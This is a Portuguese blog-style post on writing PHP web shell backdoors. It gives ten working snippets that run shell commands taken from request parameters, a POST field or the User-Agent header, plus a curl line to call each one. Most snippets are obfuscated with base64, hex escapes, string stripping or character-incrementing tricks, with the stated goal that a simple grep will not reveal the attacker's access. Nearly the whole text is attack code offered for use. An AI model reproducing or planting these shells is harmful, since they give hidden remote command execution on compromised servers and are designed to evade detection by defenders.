php/cotent01.md
Esse pequeno post é focado em uma das diferentes técnicas que venho estudando no PHP, mas direcionando no quesito de variação de código para backdoor web.
O cenário de uso dos exemplos abaixo é um pensamento fora da caixa, dando exit() no básico usado em muitos códigos backdoor.
Foquei nas variáveis globais GET ,POST ,REQUEST.
(PHP 4, PHP 5, PHP 7)
shell_exec — Executa um comando via shell e retorna a saída inteira como uma string
string shell_exec ( string $cmd )
EXEC-> php -r 'shell_exec("ls -la");'
(PHP 4, PHP 5, PHP 7)
system — Executa um programa externo e mostra a saída
string system ( string $command [, int &$return_var ] )
EXEC-> php -r 'system("ls -la");'
(PHP 4, PHP 5, PHP 7)
exec — Executa um programa externo
string exec ( string $command [, array &$output [, int &$return_var ]] )
EXEC-> php -r 'exec("ls -la",$var);print_r($var);'
(PHP 4, PHP 5, PHP 7)
passthru — Executa um programa externo e mostra a saída crua
void passthru ( string $command [, int &$return_var ] )
EXEC-> php -r 'passthru("ls -la",$var);'
shell_exec:
if(isset($_REQUEST['cmd'])) { $cmd=shell_exec($_REQUEST['cmd']);
print_r($cmd);}
system:
if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); }
exec:
if(isset($_REQUEST['cmd'])) { exec($_REQUEST['cmd']); }
passthru:
if(isset($_REQUEST['cmd'])) { passthru($_REQUEST['cmd']); }
Podemos usar as mesmas functions, porem de forma elaborada evitando que um simples grep -E revele nosso acesso.
EXEMPLO 01 Functions:
Variáveis: c3lzdGVt=system ,dW5hbWUgLWE7bHM7=uname -a;ls; ,aWQ==id CODE:
(error_reporting(0).($__=@base64_decode("c3lzdGVt")).$__(base64_decode("aWQ="))
.define("_","dW5hbWUgLWE7bHM7").$__(base64_decode(_)).exit);
Execução: curl -v 'http://localhost/shell.php'
EXEMPLO 02 Functions:
Variáveis: c3lzdGVt=system CODE:
(error_reporting(0).($__=@base64_decode("c3lzdGVt"))
.print($__(isset($_REQUEST[0])?$_REQUEST[0]:NULL)).exit);
Execução: curl -v 'http://localhost/shell.php?0=id' ** ****EXEMPLO 03**Functions:
Variáveis: ZWNobyhzaGVsbF9leGVjKCRfKSk7=echo(shell_exec($_)); CODE:
(error_reporting(0)).($_=$_REQUEST[0])
.($__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))).($__($_).exit);
Execução: curl -v 'http://localhost/shell.php?0=id'
EXEMPLO 04 Functions:
Variáveis: $_GET[1]=Nome da function, $_GET[2]=comando que será executado CODE:
(error_reporting(0).($_=@$_GET[1]).($_($_GET[2])).exit);
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname' EXEMPLO 05 Functions:
Variáveis: $_REQUEST[1]=Nome da function, $_REQUEST[2]=comando que será executado CODE:
(error_reporting(0)).(extract($_REQUEST, EXTR_PREFIX_ALL))
.($_=@get_defined_vars()['_REQUEST']).(define('_',$_[2])).(($_[1](_))).exit;
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname'
EXEMPLO 06 Functions:
Variáveis: SFRUUF9VU0VSX0FHRU5U=HTTP_USER_AGENT CODE:
(error_reporting(0)).($_=@explode(',',$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]))
.($_[0]("{$_[1]}")).exit;
Execução: curl -v 'http://localhost/shell.php' --user-agent 'system,id;ls -la'
EXEMPLO 07 Functions:
Variáveis: \x30=0, \x73=s, \x79=y , \x73=s, \x74=t, \x65=e, \x6D=m CODE:
(error_reporting(0)).($_[0][]=@$_GET["\x30"])
.($_[1][] = "\x73").($_[1][] = "\x79").($_[1][] = "\x73")
.($_[1][] = "\x74").($_[1][] = "\x65").($_[1][] = "\x6D")
.($__=@get_defined_vars()['_'][1]).($___.=$__[0])
.($___.=$__[1]).($___.=$__[2]).($___.=$__[3])
.($___.=$__[4]).($___.=$__[5]).(($___("{$_[0][0]}")).exit);
Execução: curl -v 'http://localhost/shell.php?0=id;uname%20-a'
EXEMPLO 08 Functions:
Variáveis: $_REQUEST[0]=Comando que será executado CODE:
(error_reporting(0)).(str_replace(['$','@','#'],''
,'s$##y@#$@#$@#$@s$#$@#$@#$@$te$#@#$m')).($_("{$_REQUEST[0]}"));
Execução: curl -v 'http://localhost/shell.php?0=id
** **EXEMPLO 09 Functions:
Variáveis: $_POST['shellrox']=Comando que será executado CODE:
(error_reporting(0)).($_=[("\x73\x79").("\x73")
.("\x74\x65\x6d"),"\x73\x68\x65\x6c","\x6c\x72\x6f\x78"])
.($_[0]($_POST[$_[1].$_[2]]));
Execução: curl -d "shellrox=id;uname -a" -X POST 'http://localhost/shell.php'
** **EXEMPLO 10 Functions:
CODE:
$_=""; # we need a blank string to start
$_[+$_]++; # access part of the string to convert to an array
$_=$_.""; # convert the array into a string of "Array"
$_=$_[+""]; # access the 0 index of the string "Array" which is "A"
# INCREMENTANDO VALORES PARA ACHAR AS LETRAS
# NO CASO QUERO MONTAR A STRING SYSTEM
($_++); #A
($_++); #B
($_++); #C
($_++); #D
# PRIMEIRA LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
($___[]=$_++);#E
($_++); #F
($_++); #G
($_++); #H
($_++); #I
($_++); #J
($_++); #K
($_++); #L
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO ($__[]=$++);#M
($_++); #N
($_++); #O
($_++); #P
($_++); #Q
($_++); #R
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO ($__[]=$++);#S
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO ($__[]=$++);#T
($_++); #U
($_++); #V
($_++); #W
($_++); #X
# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO ($__[]=$++);#Y
($_++);#Z
# DEBUG DO ARRAY:
/* Array
(
[0] => E
[1] => M
[2] => S
[3] => T
[4] => Y
)
*/
# MONTAR STRING COM OS CAMPOS DO ARRAY $___
$_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1];
# USANDO TÉCNICA DE FUNCTION ANONIMA PARA EXECUÇÃO
$_____('id;uname -a');
VERSÃO MINIMALISTA:
($_="").($_[+$_]++).($_=$_."").($_=$_[+""]).($_++)
.($_++).($_++).($_++).($___[]=$_++).($_++).($_++)
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
.($___[]=$_++).($_++).($_++).($_++).($_++)
.($___[]=$_++).($_++)
.($_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1])
.($_____('id;uname -a'));
Execução: curl -v 'http://localhost/shell.php'